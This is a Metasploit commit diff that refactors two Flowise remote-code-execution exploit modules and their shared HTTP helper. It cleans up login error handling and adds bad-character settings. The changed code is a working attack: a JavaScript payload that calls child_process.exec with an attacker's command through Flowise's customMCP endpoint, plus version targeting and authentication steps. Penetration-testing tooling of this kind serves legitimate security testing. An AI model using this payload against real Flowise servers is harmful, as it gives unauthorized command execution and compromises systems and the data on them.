Skip to content

Commit 6215da4

Browse files
committed
Apply review suggestions: use case/when, improve error handling, simplify code
1 parent 8cd32c0 commit 6215da4

File tree

3 files changed

+55
-45
lines changed

3 files changed

+55
-45
lines changed

lib/msf/core/exploit/remote/http/flowise.rb

Lines changed: 26 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -63,14 +63,15 @@ def flowise_requires_auth?(version = nil)
6363
#
6464
# @param email [String] The email address for authentication
6565
# @param password [String] The password for authentication
66-
# @return [Boolean] true if authentication succeeds, false otherwise
66+
# @return [Boolean] true if authentication succeeds
67+
# @raise [Msf::Exploit::Failed] if authentication fails or credentials are invalid
6768
#
6869
# @example
69-
# if flowise_login('admin@example.com', 'password')
70-
# print_good('Logged in successfully')
71-
# end
70+
# flowise_login('admin@example.com', 'password')
7271
def flowise_login(email, password)
73-
return false if email.blank? || password.blank?
72+
if email.blank? || password.blank?
73+
fail_with(Msf::Exploit::Failure::BadConfig, 'Email and password are required for authentication')
74+
end
7475

7576
login_url = normalize_uri(target_uri.path, 'api', 'v1', 'auth', 'login')
7677
res = send_request_cgi({
@@ -88,16 +89,22 @@ def flowise_login(email, password)
8889
}.to_json
8990
})
9091

91-
return false unless res
92+
unless res
93+
fail_with(Msf::Exploit::Failure::TimeoutExpired, 'No response from server during login attempt')
94+
end
9295

93-
if res.code == 200 || res.code == 201
96+
case res.code
97+
when 200, 201
9498
print_good('Authentication successful')
9599
return true
100+
when 401
101+
fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials')
102+
when 404
103+
# Flowise returns 404 with "User Not Found" when the user doesn't exist
104+
fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - user not found')
105+
else
106+
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}")
96107
end
97-
98-
fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials') if res.code == 401
99-
100-
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}")
101108
end
102109

103110
# Sends a request to the customMCP endpoint
@@ -142,28 +149,23 @@ def flowise_send_custommcp_request(payload_data, opts = {})
142149
return true
143150
end
144151

145-
if res.code == 200
152+
case res.code
153+
when 200
146154
vprint_status('Command sent successfully (HTTP 200)')
147155
return true
148-
end
149-
150-
if res.code == 401
156+
when 401
151157
vprint_error('Authentication required - check credentials')
152158
return false
153-
end
154-
155-
if res.code == 404
159+
when 404
156160
vprint_error('Endpoint not found - target may not be vulnerable')
157161
return false
158-
end
159-
160-
if res.code == 500
162+
when 500
161163
vprint_error('Server error - command may have failed to execute')
162164
return true
165+
else
166+
vprint_warning("Unexpected HTTP response code: #{res.code}")
167+
return true
163168
end
164-
165-
vprint_warning("Unexpected HTTP response code: #{res.code}")
166-
return true
167169
end
168170
end
169171
end

modules/exploits/multi/http/flowise_custommcp_rce.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,9 @@ def check
8383

8484
# Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025)
8585
# Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7
86-
return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)') if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1')
86+
if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1')
87+
return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)')
88+
end
8789

8890
CheckCode::Safe("Version #{version} is not vulnerable")
8991
end
@@ -107,11 +109,10 @@ def execute_command(cmd, _opts = {})
107109
'loadMethod' => 'listActions'
108110
}
109111

110-
opts = {}
111-
if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank?
112-
opts[:username] = datastore['FLOWISE_USERNAME']
113-
opts[:password] = datastore['FLOWISE_PASSWORD']
114-
end
112+
opts = {
113+
username: datastore['FLOWISE_USERNAME'],
114+
password: datastore['FLOWISE_PASSWORD']
115+
}
115116

116117
flowise_send_custommcp_request(payload_data, opts)
117118
end

modules/exploits/multi/http/flowise_js_rce.rb

Lines changed: 22 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,9 @@ def initialize(info = {})
3737
],
3838
'Platform' => %w[unix linux win],
3939
'Arch' => [ARCH_CMD],
40+
'Payload' => {
41+
'BadChars' => "\x0d\x0a" # \r \n
42+
},
4043
'Targets' => [
4144
[
4245
'Unix/Linux Command',
@@ -98,21 +101,26 @@ def check
98101

99102
def execute_command(cmd, _opts = {})
100103
requires_auth = flowise_requires_auth?
104+
email = datastore['FLOWISE_EMAIL']
105+
password = datastore['FLOWISE_PASSWORD']
106+
has_credentials = !email.blank? && !password.blank?
101107

102-
if requires_auth
103-
if datastore['FLOWISE_EMAIL'].blank? || datastore['FLOWISE_PASSWORD'].blank?
104-
fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD')
105-
end
106-
fail_with(Failure::NoAccess, 'Authentication required for this version but login failed') unless flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD'])
107-
elsif !datastore['FLOWISE_EMAIL'].blank? && !datastore['FLOWISE_PASSWORD'].blank?
108-
flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) ||
109-
vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)')
108+
if requires_auth && !has_credentials
109+
fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD')
110110
end
111111

112-
escaped_cmd = cmd.gsub('\\', '\\\\').gsub('"', '\\"').gsub("\n", '\\n').gsub("\r", '\\r')
112+
if has_credentials
113+
begin
114+
flowise_login(email, password)
115+
rescue Msf::Exploit::Failed
116+
vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') unless requires_auth
117+
raise if requires_auth
118+
end
119+
end
113120

121+
# BadChars ensures \r \n are not in the payload, but we still need to escape \ and " for JavaScript
114122
js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \
115-
"cp.exec(\"#{escaped_cmd}\",()=>{});return 1;})()}"
123+
"cp.exec(\"#{cmd.gsub('\\', '\\\\').gsub('"', '\\"')}\",()=>{});return 1;})()}"
116124

117125
payload_data = {
118126
'loadMethod' => 'listActions',
@@ -121,11 +129,10 @@ def execute_command(cmd, _opts = {})
121129
}
122130
}
123131

124-
opts = {}
125-
if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank?
126-
opts[:username] = datastore['FLOWISE_USERNAME']
127-
opts[:password] = datastore['FLOWISE_PASSWORD']
128-
end
132+
opts = {
133+
username: datastore['FLOWISE_USERNAME'],
134+
password: datastore['FLOWISE_PASSWORD']
135+
}
129136

130137
flowise_send_custommcp_request(payload_data, opts)
131138
end

0 commit comments

Comments
 (0)